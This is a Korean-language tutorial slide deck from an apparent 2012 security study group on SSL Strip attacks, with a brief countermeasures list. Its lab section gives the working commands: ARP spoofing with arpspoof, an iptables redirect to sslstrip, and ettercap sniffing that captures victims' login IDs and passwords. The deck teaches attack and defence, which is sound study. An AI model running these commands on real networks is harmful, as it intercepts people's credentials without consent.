SSL Strip Attack JAC (SemiDntmd) 이우승 semidntmd.tistory.com
Content 1. SSL Strip - SSL? - SSL MITM - SSL Strip 2. SSL Strip 공격 3. 대응방법 Copyright@2012 All Rights Reserved by SemiDntmd 2
1. SSL Strip 1-1 SSL? SSL(Secure Sockets Layer) 은웹서버와사용자의브라우저사이에서주고받는데이터의기밀성과무결성을보호하는매우뛰어난기술인것임에는틀림이없다. SSL 을이용하면공격자가중간에서통신을가로채서악용하는것을막는데어느정도도움이되고사용자가최소한지금접속한사이트가과연의도한그사이트인지확실을가질수있게하는데는도움이된다. 그러나 SSL은애플리케이션의서버나클라이언트컴포넌트를직접공격하는것에는아무런방어책이되지못하는데, 대부분의성공적인공격이이와같은형태로발생하고있다. 1-2 SSL MITM MITM 기본적으로 SSL 통신을이용할경우 Server와 Client는보안채널을통해데이터를주고받게되며보안채널을만들기위해서는 SSL 혹은 TLS 등이사용됨. 그런데 TCP/IP 구조는 Server와 Client는직접연결되는것이아니라여기저기를거쳐서연결되게되는데중간에악의적인라우터나가짜 AP가있을경우통신이변조될가능성이있음. 중간에끼어들어공격을하는것을 MITM( Man In The Middle ) 이라고한다. [ 그림 1] 보통의 SSL 통신과정 Copyright@2012 All Rights Reserved by SemiDntmd 3
만약클라이언트가서버와 SSL 통신을하고있으면, 해커는클라이언트의정보를탈취할수 없다. 하지만, 클라이언트가서버에게 SSL 연결요청을하는초기단계에서는가능하다. [ 그림 2] SSL Strip 공격과정 클라이언트가서버에게 Hello 를전송할때, 중간에서가로채고, 해커는클라이언트가 Hello 를전송한것처럼서버에 Hello 를전송한다. 서버는해커를클라이언트로알고 Server Hello 와서버인증서를전송하게되어, SSL MITM Attack 이성립하게된다. 공격원리 - Key 동기화를위해인증서를전달하는과정이공격자에게노출됨 - 공격자는자신이만든임의의인증서로교체한후에암호화된트래픽을복호화할수있음 해커가 MITM(Man In The Middle) 을사용하여 SSL 통신을중간에개입을할경우사용자의 ID 와 Password 같은중요한정보가해커에게알려지게된다. 이때 보안인증서 가이상하 다는보안경고창이띄워지게되는데일반사람들은별생각없이무시하기를누른다. [ 그림 3] 문제가있는 보안인증서 경고창 하지만이공격은위조된인증서를피해자가받아들이지않으면공격성공률이많이떨어진 다. 그래서나온공격이 SSL Strip Attack 이다. Copyright@2012 All Rights Reserved by SemiDntmd 4
1-3 SSL Strip 최근의브라우저들은 Negative Feedback 형태로잘못된인증서페이지를보고하므로 SSL MITM 공격성공률이 어짐 SSL Strip 은 HTTPS 를 HTTP 로변경하는공격기법임 서버만인증서를사용하는통신인경우에만가능하다. HTTP 를구현하는대부분의방법은사용자가버튼을클릭시 https 로링크되고 Redirect 를이 용하여 https 로이동한다. [ 그림 4] SSL Strip 개념도 공격자는 MITM 공격으로스니핑을하는도중피해자의 HTTP Request 를포워딩하고웹서 버의 HTTP Reponse 안의 HTML Code 내용중 https 를 http 로변경하여피해자에게전달한 다. Copyright@2012 All Rights Reserved by SemiDntmd 5
2. SSL Strip 공격 실습환경 - BT5R3-GNOME-32.iso - VirtualBox.exe - sslstrip-0.9.tar.gz ( 백트랙안에서설치 ) 기본설정 백트랙설치법은 JAC 게시판에따로업로드가되어있어서생략. 일단가상머신네트워크방식을브릿지방식으로해주고 #vi /etc/network/interfaces 에서네트워크정보를수정해준다. 아래의그림에서빨간색부 분과같은형식으로바꿔준다. ( 참고 : # vi /etc/resolv.conf -> DNS 설정 ) [ 그림 1] /etc/network/interfaces 파일 Copyright@2012 All Rights Reserved by SemiDntmd 6
# /etc/init.d/networking restart 네트워크를재시작하고 ifconfig 로설정을확인한다. [ 그림 2] ifconfig 로설정을확인 가. etter.conf 파일설정 [ 그림 3] vi /etc/etter.conf Copyright@2012 All Rights Reserved by SemiDntmd 7
[ 그림 4] etter.conf 파일수정 ettercap 환경설정파일에서 Iptables 쪽주석을제거한다. 동그라미친부분은주석 (#) 을두 개제거한다. ( 방화벽설정을해주기위해 ) 나. IP 포워딩 중간에개입된공격자는피해자와웹서버간에통신중계역할을해야하기때문에포워딩설 정을해준다. [ 그림 5] echo 1 > /proc/sys/net/ipv4/ip_forward Copyright@2012 All Rights Reserved by SemiDntmd 8
다. ARP Spoof MITM 공격으로피해자와게이트웨이간에 ArpSpoofing 을활용한다. [ 그림 6] arpspoof -i eth0 -t [Victim IP] [Gateway IP] 라. iptables 명령 ( New 터미널 ) -> 새터미널을열어서한다. #iptalbes -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 이는목적지포트가 80 번으로들어오는모든패킷은포트 10000 번으로리다이렉트시킨다는 뜻. >> ssl strip 에서기본적으로사용하는포트가 10000 번. 즉웹서비스접근시 sslstrip 을하기 위한설정이되겠음. Copyright@2012 All Rights Reserved by SemiDntmd 9
[ 그림 7] iptables - t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 마. sslstrip 실행 sslstrip 유틸을실행함으로써 https 를 http 로변경한다. [ 그림 8] sslstrip -a -k -f Copyright@2012 All Rights Reserved by SemiDntmd 10
바. ettercap 명령어를통한스니핑 ( New 터미널 ) -> 새터미널을열어서한다. [ 그림 9] ettercap -T -q -i eth0 http 로희생자가 www.faxxbook.com 접속하여 ID/PW 를입력하게되면 https 로로그인하 지만이로그인정보가 SSL Strip 에의해 http 로희생자에게전송된다. 사용자가로그인시 ettercap 명령어를실행한터미널창에서아이디와비번을확인할수있 다. [ 그림 10] www.faxxbook.com 의계정 Copyright@2012 All Rights Reserved by SemiDntmd 11
[ 그림 11] www.dxum.net 의계정 3. 대응방안 -사용자에게 https를직접입력하도록요구 -중요한데이터는추가암호화 -Client Certificate Authentication의이용 -사용자의부주의한행위를공격하는형태이므로사용자의주의가요구됨. 4. 참고 Reference & Site http://cafe.naver.com/secuholic/ http://www.boanin.com/ swbae.egloos.com/3194220 Copyright@2012 All Rights Reserved by SemiDntmd 12